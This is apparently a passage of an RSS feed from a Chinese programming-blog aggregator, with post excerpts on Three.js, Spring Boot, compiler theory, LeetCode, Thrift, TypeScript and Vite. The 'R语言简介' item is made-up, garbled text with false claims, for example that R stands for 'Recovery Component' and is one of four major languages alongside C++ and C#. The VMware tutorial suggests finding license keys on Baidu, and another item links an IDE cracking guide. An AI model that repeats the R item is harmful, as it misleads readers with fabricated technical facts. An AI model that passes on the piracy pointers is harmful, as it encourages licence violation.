      <description>viewer核心库的封装主要是针对threejs场景进行初始封装，以便多项目复用。具体细节我就不多写了，网上一大堆，但是我发现网上的例子都比较雷同，所以我的这一篇文档会着重从我做过的项目上遇到的一些问题来具体描写，详细请看第七、第八小节，主要是第一我们真实项目中，其实你的渲染页面不是整个页面，而且其中的一小块div，所以你的宽高是div而不是windws的（如下图）；第二对于页面大小变化的监视，以我的知识结构来说，还没有很好的解决方案来监视div的大小变化。&#xA;基础封装初始化包括以下：&#xA;一、ThreeJS-ES6库引入 引入部分除了ThreeJS核心库的东西外，还有标签渲染器，用于后期在场景中添加标签，还有控制器何和帧率显示器。&#xA;import { Cache, WebGLRenderer, ACESFilmicToneMapping, PCFSoftShadowMap, sRGBEncoding, PerspectiveCamera, Scene, Color } from &#39;three&#39; // 二维标签渲染器 import { CSS2DRenderer } from &#39;three/examples/jsm/renderers/CSS2DRenderer&#39; import { CSS3DRenderer } from &#39;three/examples/jsm/renderers/CSS3DRenderer&#39; import { OrbitControls } from &#39;three/examples/jsm/controls/OrbitControls.js&#39; import Stats from &#39;three/examples/jsm/libs/stats.module.js&#39; 二、初始化渲染器 初始化渲染器部分主要是获取渲染画布的dom，然后初始化场景渲染器，初始化二维标签渲染器，和三维标签渲染器。&#xA;这一部分代码我们设置渲染器的大小，这个放到了后面会讲。&#xA;_initRenderer () { // 获取画布dom this.viewerDom = document.getElementById(this.id) // 初始化渲染器 this.renderer = new WebGLRenderer({ logarithmicDepthBuffer: true, antialias: true, // true/false表示是否开启反锯齿 alpha: true, // true/false 表示是否可以设置背景色透明 precision: &#39;highp&#39;, // highp/mediump/lowp 表示着色精度选择 premultipliedAlpha: true, // true/false 表示是否可以设置像素深度（用来度量图像的分辨率） preserveDrawingBuffer: true // true/false 表示是否保存绘图缓冲 }) this.</description>
    </item>
    <item>
      <title>基于springboot构建的mysql接口实现读写，并提供给宜搭使用</title>
      <link>https://bchobby.github.io/posts/96f87d1602849f753a03545761a610e8/</link>
      <pubDate>Sun, 16 Oct 2022 15:07:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/96f87d1602849f753a03545761a610e8/</guid>
      <description>构建mysql数据库 首先下载mysql：Windows10 MYSQL Installer 安装（mysql-installer-community-5.7.19.0.msi）&#xA;为了更便捷的浏览以及操作数据库，可以安装Navicat for mysql（图形化管理）：Navicat for MySQL免费版安装配置教程（超级详细、保姆级）&#xA;Navicat for mysql的基本操作可以看：如何使用“Navicat for MySQL&#xA;我们这里新建了一个名为test4yd的数据库，并建了一张名为studentsinfo的表，表结构如图所示：&#xA;Springboot构建接口 前言 数据库搭建成功后，由于访问数据库实现读写是需要在后端实现的，无法直接通过前端js代码连接，所以我们需要自己搭建一个后端，并提供给宜搭一个接口使用。&#xA;(关于前后端的关系：前端与后端的区别（超详细整理-小白必看）)&#xA;后端开发我们将采用java语言，在IDEA上进行：IDEA安装与破解&#xA;新建项目 新建project&#xA;选择Spring Initialize&#xA;并设置Project Name、Location、Type、Language、Group等，注意SDK以及Java不要设太高，可能版本会不支持&#xA;然后点击Next 选择Dependencies：&#xA;这里先选择一些我们会用到的依赖，主要是Web下的Spring Web以及SQL下的JDBC API 和MySQL Driver，此外，这里我还选了Developer Tools下的Lombok，其中的DATA后续会用到&#xA;然后点击Fininsh&#xA;Idle将会自动构建好框架如下图所示：&#xA;简要介绍： src/main/java ：Java源代码存放目录DemoApplication ：主文件resources：资源文件resources/static：静态资源文件，例如css,js,image等resources/templates：视图模板页面application.properties：主配置文件，后续将重命名为application.yml文件(树状结构，一目了然)test/java：Java测试源代码目录pom.xml：依赖管理文件 连接数据库 增加连接数据的配置文件&#xA;在resources下新建spring目录，并新建spring config文件，命名为application：&#xA;打开创建的application.xml，加入数据库连接： &amp;lt;context:component-scan base-package=&#34;com.example.demo（替换成你的项目名）&#34;/&amp;gt; &amp;lt;bean class=&#34;org.springframework.jdbc.datasource.DriverManagerDataSource&#34; id=&#34;dataSource&#34;&amp;gt; &amp;lt;!-- 1.1.数据库驱动 --&amp;gt; &amp;lt;property name=&#34;driverClassName&#34; value=&#34;com.mysql.cj.jdbc.Driver&#34;/&amp;gt; &amp;lt;!-- 1.2.连接数据库的url --&amp;gt; &amp;lt;property name=&#34;url&#34; value=&#34;jdbc:mysql://192.168.40.89:3306/test4yd(替换成自己的主机:端口/数据库名)?characterEncoding=utf8&amp;amp;amp;serverTimezone=UTC&#34;/&amp;gt; &amp;lt;!-- 1.3.连接数据库的用户名 --&amp;gt; &amp;lt;property name=&#34;username&#34; value=&#34;root&#34;（替换成自己的用户名）&amp;gt;&amp;lt;/property&amp;gt; &amp;lt;!</description>
    </item>
    <item>
      <title>【附源码】计算机毕业设计SSM猫眼电影购票网</title>
      <link>https://bchobby.github.io/posts/28453c1c0eed5d1c1b9f8f73029bc596/</link>
      <pubDate>Sun, 16 Oct 2022 13:15:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/28453c1c0eed5d1c1b9f8f73029bc596/</guid>
      <description>项目运行&#xA;环境配置：&#xA;Jdk1.8 + Tomcat7.0 + Mysql + HBuilderX（Webstorm也行）+ Eclispe（IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持）。&#xA;项目技术：&#xA;SSM + mybatis + Maven + Vue 等等组成，B/S模式 + Maven管理等等。&#xA;环境需要&#xA;1.运行环境：最好是java jdk 1.8，我们在这个平台上运行的。其他版本理论上也可以。&#xA;2.IDE环境：IDEA，Eclipse,Myeclipse都可以。推荐IDEA;&#xA;3.tomcat环境：Tomcat 7.x,8.x,9.x版本均可&#xA;4.硬件环境：windows 7/8/10 1G内存以上；或者 Mac OS；&#xA;5.是否Maven项目: 否；查看源码目录中是否包含pom.xml；若包含，则为maven项目，否则为非maven项目 6.数据库：MySql 5.7/8.0等版本均可；&#xA;毕设帮助，指导，本源码分享，调试部署(见文末)&#xA;3.2.2 系统用例 本系统有主要分为三大部分组成，有登录，用户和管理员等用例。&#xA;登录模块用例中用户包括用户和管理员和二种角色，分别可以进行其对应的身份登录或取消登录，关闭系统。登录模块用例图如图3-1所示。 3-1 用户登录用例图&#xA;（2）用户模块主要包括主页，个人中心，用户分享管理，我的收藏管理等功能，用户模块用例图如图3-2所示。&#xA;图3-2 用户用例图&#xA;（3）管理员通过系统对可以实现网站系统管理，主要包括首页，个人中心，用户管理，电影类型管理，放映厅管理，电影信息管理，系统管理，订单管理等功能。管理员模块用例图如图3-3所示。&#xA;图3-3 管理员用例图&#xA;猫眼电影购票网主要有两类用户。分别是管理员和用户，详细规划如图4-1所示。&#xA;图4-1 系统规划图&#xA;4.2.1 数据库概念设计 根据猫眼电影购票网的功能需求，对数据库进行分析，得到相应的数据，设计用户需要的各种实体，以及相互之间的关联，为逻辑结构设计铺好路。根据所实体内的各种具体信息得于实现。&#xA;1.用户注册信息实体&#xA;用户注册信息实体包括用户名，密码，确认密码，姓名，手机等属性。用户注册信息实体图如图4-2所示：&#xA;图4-2.用户注册信息实体图&#xA;2.电影资讯实体&#xA;电影资讯实体包括标题，简介，图片内容等属性；电影资讯实体图如图4-3所示：&#xA;图4-3电影资讯实体图&#xA;3.电影信息评论表实体&#xA;电影信息评论表实体包括关联表ID，用户ID，用户名，评论内容，回复内容等属性。电影信息评论表实体图如图4-4所示：&#xA;图4-4电影信息评论表实体图&#xA;5.1功能页面实现 按照不同功能模块，在此对系统所涉及的关键页面的实现细节进行阐述，包括页面功能描述，页面涉及功能分析，介绍以及界面展示。&#xA;系统登录：运行系统，首先进入登录界面，按照登录界面的要求填写相应的“账号”和“密码”以及用户类型，点击“登录”然后系统判断填写是否正确，若正确进入相应的界面，否则给出要求先注册信息。具体流程如图5-1所示。</description>
    </item>
    <item>
      <title>VScode 中 C或C&#43;&#43; 结构体提示,代码补全不准确的 解决方案</title>
      <link>https://bchobby.github.io/posts/8ae88dd575c2f3854b14031507dbc596/</link>
      <pubDate>Sun, 16 Oct 2022 13:12:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8ae88dd575c2f3854b14031507dbc596/</guid>
      <description>1,找到项目工作区的 settings.json文件&#xA;2,修改 “C_Cpp.intelliSenseEngine”: “Tag Parser” 为 “C_Cpp.intelliSenseEngine”: “Default”&#xA;解释:&#xA;Tag Parser: 提供非上下文感知的“模糊”结果。&#xA;Default: 通过单独的 IntelliSense 流程提供上下文感知结果。&#xA;演示:&#xA;选择 Tag Parser 提示了所有的结构体成员&#xA;选择 Default 保存后, 再试一下, 只提供对应结构体的成员变量.&#xA;3,注意事项 选择 “C_Cpp.intelliSenseEngine”: “Default” 之后&#xA;需要注意 在 c_cpp_properties.json 文件中 需要正确的包含 头文件的路径.&#xA;具体看图</description>
    </item>
    <item>
      <title>（最优化理论与方法）第二章最优化所需基础知识-第三节：重要凸集举例</title>
      <link>https://bchobby.github.io/posts/5308b706f76c5dbc9f44cdc565cffe7b/</link>
      <pubDate>Sun, 16 Oct 2022 10:35:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5308b706f76c5dbc9f44cdc565cffe7b/</guid>
      <description>文章目录 （1）超平面（2）半空间（3）超平面和半空间与凸集和仿射集的关系A：关系B：证明（部分） （4）（范数）球和椭球（5）范数锥（6）多面体（7）单纯形（8）特殊矩阵集合和半正定锥 （1）超平面 超平面：任取非零向量 a ∈ R n a\in \R^{n} a∈Rn，形如&#xA;{ x ∣ a T x = b } , a ≠ 0 , b ∈ R \{x|a^{T} x=b\},a\not=0,b\in R {x∣aTx=b},a=0,b∈R&#xA;的集合称之为超平面&#xA;上述定义还可以表示为：&#xA;{ x ∣ a T ( x − x 0 ) = 0 } \{x|a^{T} (x-x_{0})=0\} {x∣aT(x−x0​)=0}&#xA;x 0 x_{0} x0​为超平面上任意一点 下图：是由 R 2 R^{2} R2中由法向量 a a a和超平面上一点 x 0 x_{0} x0​确定的超平面，对于超平面上任意一点 x x x， x − x 0 x-x_{0} x−x0​都垂直于 a a a</description>
    </item>
    <item>
      <title>VMware Workstation Pro详细安装教程</title>
      <link>https://bchobby.github.io/posts/a9f53547827135700a8031d6ce948c92/</link>
      <pubDate>Sun, 16 Oct 2022 10:29:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a9f53547827135700a8031d6ce948c92/</guid>
      <description>一，VMware Workstation Pro介绍&#xA;VMware Workstation（中文名“威睿工作站”）是一款功能强大的桌面虚拟计算机软件，提供用户可在单一的桌面上同时运行不同的操作系统，和进行开发、测试 、部署新的应用程序的最佳解决方案。VMware Workstation可在一部实体机器上模拟完整的网络环境，以及可便于携带的虚拟机器，其更好的灵活性与先进的技术胜过了市面上其他的虚拟计算机软件。对于企业的 IT开发人员和系统管理员而言， VMware在虚拟网路，实时快照，拖曳共享文件夹，支持 PXE 等方面的特点使它成为必不可少的工具。&#xA;VMware Workstation的开发商为VMware（中文名“威睿”，VMware Workstation就是以开发商VMware为开头名称，Workstation的含义为“工作站”，因此VMware Workstation中文名称为“威睿工作站”），VMware成立于1998年，为EMC公司的子公司，总部设在美国加利福尼亚州帕罗奥多市，是全球桌面到数据中心虚拟化解决方案的领导厂商，全球虚拟化和云基础架构领导厂商，全球第一大虚拟机软件厂商，多年来，VMware开发的VMware Workstation产品一直受到全球广大用户的认可，它的产品可以使你在一台机器上同时运行二个或更多Windows、DOS、Linux、Mac系统。与“多启动”系统相比，VMware采用了完全不同的概念。多启动系统在一个时刻只能运行一个系统，在系统切换时需要重新启动机器。VMware是真正“同时”运行多个操作系统在主系统的平台上，就像标准Windows应用程序那样切换。而且每个操作系统你都可以进行虚拟的分区、配置而不影响真实硬盘的数据，你甚至可以通过网卡将几台虚拟机用网卡连接为一个局域网，极其方便。因此，VMware也坐上了全球第四大系统软件公司的宝座，全球第一大电脑软件提供商微软公司董事长比尔·盖茨曾经评测过VMware；VMware的VMware Workstation产品我们也有很多的工作人员都在使用，是一款非常强大的虚拟机软件。VMware Workstation获得了美国IT杂志Dr. Dobb&#39;s颁发的Jolt Awards 2013 最佳编程工具奖&#xA;二，正式安装教程&#xA;安装包可以前往百度官网下载，我这里就不附带安装包&#xA;官网地址：下载 VMware Workstation Pro | CN&#xA;1.双击安装包，出现下面界面，开始安装&#xA;2. 选择接受协议，点击下一步&#xA;3.选择安装位置，建议安装在空间大的磁盘，我这里放在D盘，点击下一步&#xA;4.用户体验设置取消勾选两个选项，点击下一步&#xA;5.默认，下一步&#xA;6.点击安装&#xA;7.安装进行中，漫长等待中&#xA;8.安装条结束后，点击许可证（没有许可证只能体验一个月）&#xA;9.许可证可以去百度搜索，但是注意你的安装包是什么版本的，选择相应的许可证密匙版本，我安装的是14版本，就百度14版本的许可证密匙&#xA;10.完成完毕&#xA;双击打开软件，就可以创建自己的虚拟机了</description>
    </item>
    <item>
      <title>编译原理第二章课后习题，文法的二义性判断、语法树以及最左最右推导</title>
      <link>https://bchobby.github.io/posts/07d1b0b04dbf33fbca292a562bd4890d/</link>
      <pubDate>Sat, 15 Oct 2022 23:48:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/07d1b0b04dbf33fbca292a562bd4890d/</guid>
      <description>第二章 1、文法G=（{A，B，S}，{a,b,c}P,S)，其中P为S→Ac|aB，A→ab，B→bc&#xA;写出L(G[S])的全部元素。&#xA;答：L(G[S])={abc}&#xA;2、文法G[N]为N→D|ND、D→0|2|3|4|5|6|7|8|9|，G[N]的语言是什么？&#xA;答：允许零开头的所有非负整数&#xA;3、为只包含数字、加号和减号的表达式，例如9-2+5、3-1、7等构造一个文法。&#xA;5、已知文法G[Z]为Z→aZb|ab,写出L（G[Z]）的全部元素。&#xA;答：Z =&amp;gt;aZb =&amp;gt;aaZbb =&amp;gt;aaa..Z..bbb =&amp;gt;aaa..ab..bbb&#xA;L（G[Z]）={ab|n&amp;gt;=1}&#xA;6、已知文法G：&#xA;&amp;lt;表达式&amp;gt;::= &amp;lt;项&amp;gt;|&amp;lt;表达式&amp;gt;+&amp;lt;项&amp;gt;&#xA;&amp;lt;项&amp;gt;::= &amp;lt;因子&amp;gt;|&amp;lt;项&amp;gt;*&amp;lt;因子&amp;gt;&#xA;&amp;lt;因子&amp;gt;::=(&amp;lt;表达式&amp;gt;)|i&#xA;是给出下属表达式的推导以及语法树&#xA;（1）i （5）i+(i+i)&#xA;(6)i+i*i&#xA;7、习题1中的文法是二义的吗？为什么？&#xA;文法G=（{A，B，S}，{a,b,c}P,S)，其中P为S→Ac|aB，A→ab，B→bc&#xA;答：最右推导：S=&amp;gt;Ac =&amp;gt;abc&#xA;S=&amp;gt;aB =&amp;gt;abc，&#xA;即存在两个不同的最右推导，所以该文法是二义的。&#xA;或者：&#xA;对输入字符串abc，能够造出如下两颗不同的语法树，所以该文法是二义的。&#xA;⭐⭐⭐那么问题来啦，怎么判断文法是不是具有二义性捏？&#xA;其实很简单，就看这个文法的某个句子如果有两个不同的最右（最左）推导，那这个文法就有二义性。&#xA;⭐⭐⭐又或者说可以用如下方法判断非二义性，&#xA;1.求出文法所有非终结符号的First集，&#xA;2.求出文法所有非终结符号的Follow集，&#xA;3.进行两步判断：&#xA;（1）非终结符号A的任何两个候选式的first集合不相交&#xA;（2）f若A的某个候选式可以推导出ε，则其它候选式的First集与Follow(A)不相交。&#xA;满足以上两个条件的文法一定是非二义性的。&#xA;10、令文法G[E]为&#xA;E=&amp;gt;T|E+T|E-T&#xA;T=&amp;gt;F|T*F|T/F&#xA;F=&amp;gt;(E)|i&#xA;证明E+T*F是它的一个右句型，并指出这个句型的所有的短语，直接短语和句柄。&#xA;答：此句型对应的语法树如下，&#xA;短语：E+T*F、T*F 直接短语：T*F 句柄：T*F&#xA;⭐⭐⭐那么问题又来了！！怎么找出短语，直接短语和句柄捏？&#xA;短语：一个句型的语法树中任一子树叶结点所组成的符号串都是该句型的短语。&#xA;直接短语：如果子树中不再包含其他的子树，即A只能推导出b，而b不能再推出其他的式子，则b为此句型的直接短语。&#xA;句柄：直接短语中的最左直接短语为该句型的句柄。&#xA;11、一个上下文无关文法生成句子abbaa的唯一语法树如下：&#xA;（1）给出该句子相应的最左推导和最右推导。&#xA;最左：S=&amp;gt;ABS=&amp;gt;aBS=&amp;gt;aSBBS=&amp;gt;aBBS=&amp;gt;abBS=&amp;gt;abbS=&amp;gt;abbAa=&amp;gt;abbaa&#xA;最右：S=&amp;gt;ABS=&amp;gt;ABAa=&amp;gt;ABaa=&amp;gt;ASBBaa=&amp;gt;ASBbaa=&amp;gt;ASbbaa=&amp;gt;Abbaa=&amp;gt;abbaa&#xA;(3)找出该句子的所有短语，简单短语，句柄。&#xA;短语：a是相对于A的短语，ε 是S的短语，b是B的短语，ε bb是相对于B的短语，aa是S的短语，&#xA;aεbbaa是S的短语。&#xA;直接短语：a,ε ,b&#xA;句柄：a</description>
    </item>
    <item>
      <title>springBoot整合springSecurity(认证)</title>
      <link>https://bchobby.github.io/posts/44d13dd9da53ec977416472bd1b2592f/</link>
      <pubDate>Sat, 15 Oct 2022 23:41:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/44d13dd9da53ec977416472bd1b2592f/</guid>
      <description>springSecurity(安全) 1.什么是springSecurity? Spring Security是 Spring 家族中的一个安全管理框架。相比与另外一个安全框架Shiro，它提供了更丰富的功能，社区资源也比Shiro丰富；&#xA;Spring Security是一个功能强大且高度可定制的身份验证和访问控制框架。它是用于保护基于Spring的应用程序的实际标准；&#xA;Spring Security是一个框架，致力于为Java应用程序提供身份验证和授权。与所有Spring项目一样，Spring Security的真正强大之处在于可以轻松扩展以满足自定义要求。&#xA;在 Java 生态中，目前有 Spring Security 和 Apache Shiro 两个安全框架，可以完成认证和授权的功能。&#xA;我们先来学习下 Spring Security 。其官方对自己介绍如下：&#xA;Spring Security is a powerful and highly customizable authentication and access-control framework. It is the de-facto standard for securing Spring-based applications.&#xA;Spring Security是一个功能强大且高度可定制的身份验证和访问控制框架。它是保护基于Spring的应用程序的事实标准。&#xA;Spring Security is a framework that focuses on providing both authentication and authorization to Java applications. Like all Spring projects, the real power of Spring Security is found in how easily it can be extended to meet custom requirementsSpring</description>
    </item>
    <item>
      <title>Verdi使用方法（1）— 打开user guide和加载波形</title>
      <link>https://bchobby.github.io/posts/a790f2f0313d76971f2292240d6746c9/</link>
      <pubDate>Sat, 15 Oct 2022 23:19:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a790f2f0313d76971f2292240d6746c9/</guid>
      <description>Verdi使用方法（1）— 打开user guide和加载波形 一、在linux上快速打开user guide 在安装有Verdi的Linux服务器上输入如下命令即可快速的打开Verdi的user guide&#xA;verdi -doc 二、一开始就只打开一段时间的波形 打开verdi，点击load波形&#xA;选中波形后点击左下角的【Options…】选项&#xA;勾选【Open File By Time Range】选项，然后点击【OK】&#xA;点击【OK】后机会弹出这个时间选择界面&#xA;我们可以选择自己想要加载波形的时间，例如我们选择要加载“200us - 300us”的时间段的波形如下所示&#xA;然后就可以看到我们只加载了200us~300us之间的波形&#xA;我们也可以再次修改这个时间，点击【File】-&amp;gt; 【Set View Time Range…】&#xA;这样我们就可以重新修改需要加载的时间，例如修改为190us~200us&#xA;修改后如下所示&#xA;三、折叠一段波形 点击【View】-&amp;gt; 【Compress Time Range】&#xA;输入我们想要折叠的时间如下所示，然后点击【Insert】&#xA;可以看到5us~410us时间的波形已经被折叠了&#xA;我们也可以点击如下的【+】将折叠的波形重新打开</description>
    </item>
    <item>
      <title>动态规划力扣题</title>
      <link>https://bchobby.github.io/posts/b5cfc52e74b2f7943ecdbafd78d08e31/</link>
      <pubDate>Sat, 15 Oct 2022 21:08:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b5cfc52e74b2f7943ecdbafd78d08e31/</guid>
      <description>1、爬楼梯70 假设你正在爬楼梯。需要 n 阶你才能到达楼顶。 每次你可以爬 1 或 2 个台阶。你有多少种不同的方法可以爬到楼顶呢？ 示例 1： 输入：n = 2 输出：2 解释：有两种方法可以爬到楼顶。 1. 1 阶 + 1 阶 2. 2 阶 思路：找到规律dp[i] = dp[i-1] + dp[i-2];&#xA;var climbStairs = function(n) { let dp = []; dp[1] = 1; dp[2] = 2; for(let i = 3;i &amp;lt;= n;i++){ dp[i] = dp[i-1] + dp[i-2]; } return dp[n] }; 2、打家劫舍198 你是一个专业的小偷，计划偷窃沿街的房屋。每间房内都藏有一定的现金，影响你偷窃的唯一制约因素就是相邻的房屋装有相互连通的防盗系统，如果两间相邻的房屋在同一晚上被小偷闯入，系统会自动报警。 给定一个代表每个房屋存放金额的非负整数数组，计算你 不触动警报装置的情况下 ，一夜之内能够偷窃到的最高金额。 示例 1： 输入：[1,2,3,1] 输出：4 解释：偷窃 1 号房屋 (金额 = 1) ，然后偷窃 3 号房屋 (金额 = 3)。 偷窃到的最高金额 = 1 + 3 = 4 。 思路： 求打劫到第n个房间的最优解，规律是dp[i] = Math.</description>
    </item>
    <item>
      <title>超简单的Python小游戏（逢七必过）</title>
      <link>https://bchobby.github.io/posts/89de82a4cb6297c41ec21e25b494e3f4/</link>
      <pubDate>Sat, 15 Oct 2022 21:00:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/89de82a4cb6297c41ec21e25b494e3f4/</guid>
      <description> i = 1 guo = 0 while i &amp;lt;= 100: if i % 10 == 7 or i % 7 == 0 or i // 10 == 7: guo += 1 i += 1 print(f&#34;一共说了{guo}次过&#34;) </description>
    </item>
    <item>
      <title>R语言简介</title>
      <link>https://bchobby.github.io/posts/bf1d7e2abf49e7e7e9a2dfecfa0801e5/</link>
      <pubDate>Sat, 15 Oct 2022 20:10:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bf1d7e2abf49e7e7e9a2dfecfa0801e5/</guid>
      <description>R是由 Recovery这个名称演变而来的，它的全称是 Recovery Component,它是一种面向对象的编程语言，与 C++, C#, C++并称为计算机领域编程中的“四大语言”。在其发展过程中, R语言也经历了许多变化（如从 C++时代到 C#时代的发展）。R是一种面向对象的编程语言，它允许程序员在不使用语言的情况下进行代码编辑。该编程语言适用于各种类型的计算机操作系统(Windows、 Mac)、数据库软件及其它嵌入式系统工具链。R代码的特征是：编译器库是用于编译所需的所有内存的编译器，而不是与 C#兼容的存储器; R对对象（包括可执行程序）进行操作时使用标准语言进行编程；任何执行过程中使用任何工具都可以作为编译器功能程序运行时的编程语言；使用多个操作执行同一程序（即不同的操作）时使用不同于 R编码时用到的方法（代码中包含语法和字符串);使用任意类型的数据来执行新操作时使用不同于 R编码时用于执行旧操作时使用不同方法；同时, R与 C#和 C++兼容，其 C#和 C++也能被 R编译器所使用。R在结构和图形方面都很好。本文介绍关于 R编译器的特性和使用技巧，并介绍一下 R编译器和 R编码器之间的关系。&#xA;1.代码解析&#xA;在 R中，用户可以选择“解码器”，也可以选择“输入值解析器”，两个都可以通过“PHP文件来解析。首先，用户定义一个类“Recovery Data”，这个类作为接收变量可以指定一个或多个函数、索引等（例如：“slave”这个函数可以指定多个值，如：“. slave”等）。在输入文件中设置 data或者 mode为0 data;如果是用户定义的函数为1 data;如果是输出变量 mode为0 data;则输出变量都为1 data;如果 data是0 data;则输出变量则为0 data (这是用于解析用户定义类型的方式）。如果用户定义不同的函数，则输入一个参数“Recovery Data”；然后输出一个变量“Skyscan”；如果不是用户定义不合理的时候，输出结果中保留“Skyscan”；如果需要用户定义什么才是正确的。这个结果可以定义为“值解析器值”、“变量解析器值”或者“函数解析器值”等号。R的用户定义类型相同的时候即为正确的。&#xA;2. RML解析功能&#xA;解析也称为解码和获取的操作。RML通过两种方法进行解析，即先读取和解码。在解码部分, RML会先对一些特殊符号进行解析，如将特殊符号作为一种符号来使用；将特殊符号作为唯一的字符串来使用；还会使用字符串进行转换（将特殊字符串转换为一种符号进行转换）。解掉特定符号则生成一种新符号（与之对应的内容）。然后再将相应内容的数据转换为对应于该符号的新数据。当用户再次读取该符号时将使用该符号的新数据与相应的数据在同一个字符节内进行匹配；若匹配后的数据没有变化则为正常状态；若匹配后的信息与原始信息不一致的话，则为异常状态的子状态);若异常状态与原始状态完全一致且与错误状态完全吻合时则为异常状态（未完全回复为正常状态);该解析部分还具有一些特殊操作。例如：某些特殊类型的符号在读取到此符号后还可以继续读取；对于一个特殊类型的符号在读取到此符号后也可以继续读取；这种特殊情况下读取到该符号之后还可以继续读取此图形（这是唯一一个特殊类型）等都是 RML解析功能中的一个重要功能。这一功能将会使用户能够在不使用其他分析工具时同时了解系统和程序的运行情况。&#xA;3.程序编译&#xA;程序编译是通过调用程序编译器的所有功能和函数来实现的。因此，对于任何一种编程语言而言，调用不同的编译工具都可以调用程序编译器功能，如前面提到的 SIMD、 FLASH等都是这样处理的。每个程序都是由许多个调用工具组成的，这些工具将执行相同或相近功能的操作。因此，调用工具可被调用而无需重复地将执行过程从编译工具中剥离出来；所有程序都不能重新调用。通过使用不同工具对不同的操作直接调用不同的函数执行程序，对于一款较复杂的程序来说是一种可行且有用方式；但是对于一些较为复杂的问题则是非常困难的。所以在一般情况下，一般的编程人员都会选择用专门的调用器来进行编辑工作的。&#xA;4.程序调试: R编译器与 R编码器的关系&#xA;R编译器和 R编译器都可以用于调用编程语言；通过设置调用函数来调用语法，如：“client”函数等；通过调试运行函数，把代码添加到测试环境中进行测试程序执行后，会对该函数进行检查，看是否存在异常。在调试过程中，一般是将编程语言的某些关键技术（如：语法）进行转化，在调试状态下对该代码进行检验。在这种情况下则需要对测试过程中使用到的代码片段进行检查和修改操作。在运行一段时间后，当调用函数完成之后，会对该函数进行检查和修改——对于一个调用函数完成之后，再添加一个新的函数进行测试——这样循环重复几次即可。我们可以使用 RF (internal transaction of automation)指令来验证该函数中的执行情况。如果执行完毕，那么程序测试状态为“reply”；如果结果是正确的，则说明调试程序正确且执行完毕。&#xA;5.程序调试: R编译器与 R编码器的简单区别&#xA;在程序调试时，一般会使用 R编译器。如果要对程序进行调整的话，我们可以在调试时使用 R编译器。下面来看两种常用的编译制的代码：由于程序编程不需要存储和写程序，所以 R编译器与 R编码器并没有什么区别。与其他代码不同，由于 R中有一个特定的字节码，所以可以直接写入到文件中（我们常在一个特定时间对某个文件进行编写，需要很长时间）。只要把这个字节码写入到文件中，其他时间不需要任何操作，就可以对它进行修改了。但是如果不能及时更改这个字节码又要重新编写一次程序的话, R编译器就是一个很好地选择了。但是如果需要使用更长时间的话，我们可以通过 RBAC (编译器提供的扩展内存存储器）来直接从 R编码器进行修改。如果没有扩展内存存贮器以及相关的支持功能，那么 RBAC (编译器库提供的扩展内存存储器）就相当于一个 M* M^1块一样大一些了。</description>
    </item>
    <item>
      <title>Thrift客户端服务器示例</title>
      <link>https://bchobby.github.io/posts/e76b9eb17bcb35532ffc23de5b762875/</link>
      <pubDate>Sat, 15 Oct 2022 18:11:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e76b9eb17bcb35532ffc23de5b762875/</guid>
      <description>前言 这里我采用的是Java作为服务端，C++作为客户端&#xA;官方文档&#xA;Thrift文件 namespace java com.tubai.thrift enum Action{ Hello = 1, Query = 2 } struct Request{ 1: required Action type, 2: required string name, 3: optional i32 age, } service ActionService{ void doAction(1:Request req) } 服务器 首先根据官网文档生成代码，然后我们只需要编写ActionService的实现类以及一个程序的入口（也就是main函数）&#xA;如下所示&#xA;public class ActionServiceImpl implements ActionService.Iface{ public void doAction(Request req) throws org.apache.thrift.TException{ System.out.println(&#34;===&amp;gt;&#34; + req); } } import org.apache.thrift.server.TServer; import org.apache.thrift.server.TSimpleServer; import org.apache.thrift.transport.TServerSocket; import java.io.IOException; import java.net.ServerSocket; public class JavaServer{ public static void main(String[] args){ ServerSocket socket = null; try { socket = new ServerSocket(9090); TServerSocket serverTransport = new TServerSocket(socket); ActionService.</description>
    </item>
    <item>
      <title>已安装xxx模块，但报错无法找到模块“xxx”的声明文件(TS)</title>
      <link>https://bchobby.github.io/posts/3dd9f7ed249baad54d0066f505daaf20/</link>
      <pubDate>Sat, 15 Oct 2022 17:37:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3dd9f7ed249baad54d0066f505daaf20/</guid>
      <description>问题描述 在一个vue3+TS项目中，引入md5时，报错误&#xA;import md5 from &#34;js-md5&#34;; 已声明“md5”，但从未读取其值。ts(6133)&#xA;无法找到模块“js-md5”的声明文件。“D:/Desktop/vue3_online-retailers/project/node_modules/js-md5/src/md5.js”隐式拥有 “any” 类型。&#xA;尝试使用 npm i --save-dev @types/js-md5 (如果存在)，或者添加一个包含 declare module &#39;js-md5&#39;; 的新声明(.d.ts)文件ts(7016)&#xA;解决方法 在src目录下新建文件legacy.d.ts&#xA;文件内容写上如下声明：&#xA;declare module &#39;js-md5&#39;; 即可解决</description>
    </item>
    <item>
      <title>Vite&#43;Vue项目添加sass预处理器</title>
      <link>https://bchobby.github.io/posts/48a4073592e4ff95804943d50b2c2f71/</link>
      <pubDate>Sat, 15 Oct 2022 17:27:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/48a4073592e4ff95804943d50b2c2f71/</guid>
      <description>一：安装sass vite有内置的sass配置信息，所以直接安装sass即可&#xA;npm install --save-dev sass 二：编写全局css变量/全局mixin 在assets文件夹下创建scss目录，添加globalMixin.scss和globalVar.scss文件&#xA;添加几个案例&#xA;//globalVar.scss $bg-color: #1989fa; //globalMixin.scss @mixin box-shadow($bulr: 20px, $color: #1989fa7a) { -webkit-box-shadow: 0px 0px $bulr $color; -moz-box-shadow: 0px 0px $bulr $color; box-shadow: 0px 0px $bulr $color; } 三：引入 全局引入 打开项目目录下vite.config.js文件，添加配置信息&#xA;//配置sass css: { preprocessorOptions: { scss: { // &#39;@import &#34;assets/scss/globalVar.scss&#34;;@import &#34;assets/scss/globalMixin.scss&#34;;&#39; additionalData: &#39;@import &#34;../assets/scss/globalVar.scss&#34;;@import 